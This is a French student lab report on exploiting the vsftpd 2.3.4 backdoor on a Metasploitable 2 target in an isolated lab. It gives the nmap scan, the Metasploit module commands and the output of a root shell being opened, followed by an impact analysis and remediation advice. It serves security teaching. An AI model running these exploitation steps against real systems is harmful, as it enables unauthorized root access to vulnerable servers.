

COMPTE RENDU TP

Exploitation d'une vulnérabilité avec Metasploit

Contexte professionnel

Dans le cadre d'un audit interne de sécurité, nous avons été chargés d'évaluer la robustesse d'un serveur volontairement vulnérable présent dans un laboratoire pédagogique.

L'objectif est de :

- Identifier les services exposés
- Détecter une vulnérabilité exploitable
- Réaliser une exploitation contrôlée
- Analyser les impacts sécurité
- Proposer des mesures correctives

L'environnement utilisé est composé de :

- **Machine attaquante** : Kali Linux
- **Machine cible** : Metasploitable 2
- **Réseau** : Host-Only (lab isolé)

Partie 1 - Découverte de la cible

Vérification de la connectivité réseau

Sur Kali :

ping 192.168.1.130

```
(kali㉿kali)-[~]  
$ ping 192.168.1.130  
PING 192.168.1.130 (192.168.1.130) 56(84) bytes of data.  
64 bytes from 192.168.1.130: icmp_seq=1 ttl=64 time=5.28 ms  
64 bytes from 192.168.1.130: icmp_seq=2 ttl=64 time=2.99 ms  
64 bytes from 192.168.1.130: icmp_seq=3 ttl=64 time=2.68 ms  
64 bytes from 192.168.1.130: icmp_seq=4 ttl=64 time=3.13 ms  
64 bytes from 192.168.1.130: icmp_seq=5 ttl=64 time=3.68 ms  
64 bytes from 192.168.1.130: icmp_seq=6 ttl=64 time=2.88 ms  
64 bytes from 192.168.1.130: icmp_seq=7 ttl=64 time=1.50 ms  
64 bytes from 192.168.1.130: icmp_seq=8 ttl=64 time=1.77 ms  
64 bytes from 192.168.1.130: icmp_seq=9 ttl=64 time=1.47 ms  
64 bytes from 192.168.1.130: icmp_seq=10 ttl=64 time=9.97 ms  
64 bytes from 192.168.1.130: icmp_seq=11 ttl=64 time=6.15 ms  
64 bytes from 192.168.1.130: icmp_seq=12 ttl=64 time=1.78 ms  
64 bytes from 192.168.1.130: icmp_seq=13 ttl=64 time=1.96 ms  
64 bytes from 192.168.1.130: icmp_seq=14 ttl=64 time=9.63 ms  
64 bytes from 192.168.1.130: icmp_seq=15 ttl=64 time=2.00 ms  
64 bytes from 192.168.1.130: icmp_seq=16 ttl=64 time=3.84 ms  
64 bytes from 192.168.1.130: icmp_seq=17 ttl=64 time=3.11 ms  
64 bytes from 192.168.1.130: icmp_seq=18 ttl=64 time=2.01 ms  
64 bytes from 192.168.1.130: icmp_seq=19 ttl=64 time=1.46 ms  
64 bytes from 192.168.1.130: icmp_seq=20 ttl=64 time=17.8 ms  
64 bytes from 192.168.1.130: icmp_seq=21 ttl=64 time=1.14 ms  
64 bytes from 192.168.1.130: icmp_seq=22 ttl=64 time=2.15 ms  
64 bytes from 192.168.1.130: icmp_seq=23 ttl=64 time=1.43 ms  
64 bytes from 192.168.1.130: icmp_seq=24 ttl=64 time=2.66 ms  
64 bytes from 192.168.1.130: icmp_seq=25 ttl=64 time=6.93 ms  
64 bytes from 192.168.1.130: icmp_seq=26 ttl=64 time=1.84 ms  
64 bytes from 192.168.1.130: icmp_seq=27 ttl=64 time=1.67 ms  
64 bytes from 192.168.1.130: icmp_seq=28 ttl=64 time=1.61 ms  
64 bytes from 192.168.1.130: icmp_seq=29 ttl=64 time=1.49 ms  
64 bytes from 192.168.1.130: icmp_seq=30 ttl=64 time=1.20 ms  
64 bytes from 192.168.1.130: icmp_seq=31 ttl=64 time=2.75 ms  
64 bytes from 192.168.1.130: icmp_seq=32 ttl=64 time=1.40 ms  
64 bytes from 192.168.1.130: icmp_seq=33 ttl=64 time=2.26 ms  
64 bytes from 192.168.1.130: icmp_seq=34 ttl=64 time=1.97 ms  
64 bytes from 192.168.1.130: icmp_seq=35 ttl=64 time=1.78 ms  
64 bytes from 192.168.1.130: icmp_seq=36 ttl=64 time=1.66 ms  
64 bytes from 192.168.1.130: icmp_seq=37 ttl=64 time=2.40 ms  
64 bytes from 192.168.1.130: icmp_seq=38 ttl=64 time=1.46 ms  
64 bytes from 192.168.1.130: icmp_seq=39 ttl=64 time=1.24 ms  
^C  
--- 192.168.1.130 ping statistics ---  
39 packets transmitted, 39 received, 0% packet loss, time 38089ms  
rtt min/avg/max/mdev = 1.137/3.181/17.773/3.142 ms
```

Résultat : la machine répond correctement.

Scan des services ouverts

`nmap -sV 192.168.1.130`

Résultat observé :

```
(kali@kali)~$ nmap -sV 192.168.1.130
Starting Nmap 7.91 ( https://nmap.org ) at 2026-02-20 11:00 EST
Nmap scan report for 192.168.1.130
Host is up (0.0098s latency).
Not shown: 977 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux
; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.07 seconds
```

1. Quels ports sont ouverts ?

Principaux ports ouverts détectés :

- 21 (FTP)
- 22 (SSH)
- 80 (HTTP)
- 139 (NetBIOS)
- 445 (SMB)

2. Quels services sont détectés ?

- FTP (vsftpd 2.3.4)

- SSH
- Apache HTTP
- Samba

3. Repérer un service vulnérable potentiel

Le service FTP utilisant la version **vsftpd 2.3.4** est connu pour contenir une backdoor. Il représente donc une vulnérabilité critique exploitable.

Partie 2 – Découverte Metasploit

Lancement de Metasploit

Commande :

msfconsole

```
(kali㉿kali)-[~]
$ msfconsole
Home

      .\$$$$L...==accaacc%#s$b.          d8,    d8P
      #$$$$$$$L...=accaacc%#s$b.        `BP   d888888p
      '7$$$$\"""'^^`'.7$$$|D*"'^`       ?88'
                _os#$|8*"     d8P      ?8b 88P
d8bd8b.d8p d8888b ?88' d888b8b         .oaS###S*"     d8P d8888b $whi?88b 88b
88P`?P'?P d8b_,dP 88P d8P' ?88            ,88b .osS$$$$*$" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88  d8 ?8 88b      88b 88b ,88b .osS$$$$*$" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P`?8b`?88P'.aS$$$$Q*"     `?88' ?88 ?88 88b d88 d88
               .a$$$$$$P"           88b d8P 88b`?8888P'
               ,s$$$$$$P"           888888P' 88n
               .a$$$$$$P"           d88P'      ,.ass%#S$$$$$$$$$$$$$$$$$'
               .a#####P"           _.,.-agsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'
               ,a#####P"           _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'
               .a$$$$$$$$SS$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##=-"' '^/^/$$$$$$'
                                     ,6$$$$$$'
                                     ll66$$$$$'
                                     .;;lll6666'
                                     ...;;llll6'
                                     .....;llll;.....
                                     .....;llll;.....
                                     .....;llll;.....

+ -- ==[ metasploit v6.0.15-dev ]
+ -- ==[ 2071 exploits - 1123 auxiliary - 352 post ]
+ -- ==[ 592 payloads - 45 encoders - 10 nops ]
+ -- ==[ 7 evasion ]

Metasploit tip: You can use help to view all available commands

msf6 >
```

Recherche du module

Commande :

search vsftpd

```
msf6 > search vsftpd

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3

```
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp
```

Module trouvé :

exploit/unix/ftp/vsftpd_234_backdoor

1. Quel module correspond à la vulnérabilité ?

exploit/unix/ftp/vsftpd_234_backdoor

2. Quelle vulnérabilité est exploitée ?

Une backdoor intégrée dans la version 2.3.4 du serveur FTP vsftpd.

3. Quel service est concerné ?

Le service FTP (port 21).

Partie 3 – Exploitation contrôlée

Chargement du module

use exploit/unix/ftp/vsftpd_234_backdoor

Configuration

set RHOSTS 192.168.1.130

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.130
RHOSTS => 192.168.1.130
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  RHOSTS    192.168.1.130    yes       The target host(s), range CIDR identifier, or hosts
  file with syntax 'file:<path>'
  RPORT     21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ---      -

Exploit target:

  Id  Name
  --  -
  0    Automatic
```

Lancement

run

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.130:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.130:21 - USER: 331 Please specify the password.
[+] 192.168.1.130:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.130:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 → 192.168.1.130:6200) at 2026-02-20 11:18:34 -0500
```

Résultat : Exploitation réussie

Une session shell distante est ouverte.

Partie 4 – Analyse du résultat

Commande exécutée :

whoami

```
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

Résultat : root

1. Quel niveau d'accès avez-vous obtenu ?

Un accès root (superutilisateur).

Cela correspond au niveau administrateur avec contrôle total du système.

2. Quels risques pour l'entreprise ?

- Prise de contrôle complète du serveur
- Suppression ou modification de données
- Installation de malware
- Création de comptes cachés
- Propagation vers d'autres machines
- Vol d'informations sensibles

3. Quelles données pourraient être compromises ?

- Bases de données clients
- Documents internes
- Données financières
- Identifiants utilisateurs
- Sauvegardes système

Partie 5 – Analyse sécurité

Cause de la vulnérabilité

- Utilisation d'un logiciel obsolète
- Absence de mise à jour de sécurité
- Version contenant une backdoor connue

Mesures correctives

- Mettre à jour le serveur FTP
- Supprimer ou désactiver le service FTP si inutile
- Fermer le port 21 via un firewall
- Mettre en place une politique de patch management
- Mettre en place une surveillance des logs
- Réaliser des scans de vulnérabilité réguliers

Mesures préventives

- Politique stricte de mise à jour
- Inventaire des services exposés
- Segmentation réseau
- Veille sécurité continue
- Audit de sécurité régulier

Conclusion

Ce TP démontre qu'un simple service non mis à jour peut permettre une compromission totale d'un serveur.

L'exploitation de la vulnérabilité vsftpd 2.3.4 a permis d'obtenir un accès root en quelques minutes, illustrant l'importance :

- Des mises à jour régulières
- De la surveillance des services exposés
- D'une politique de sécurité proactive

Cette expérience met en évidence les risques majeurs liés aux logiciels obsolètes dans un environnement professionnel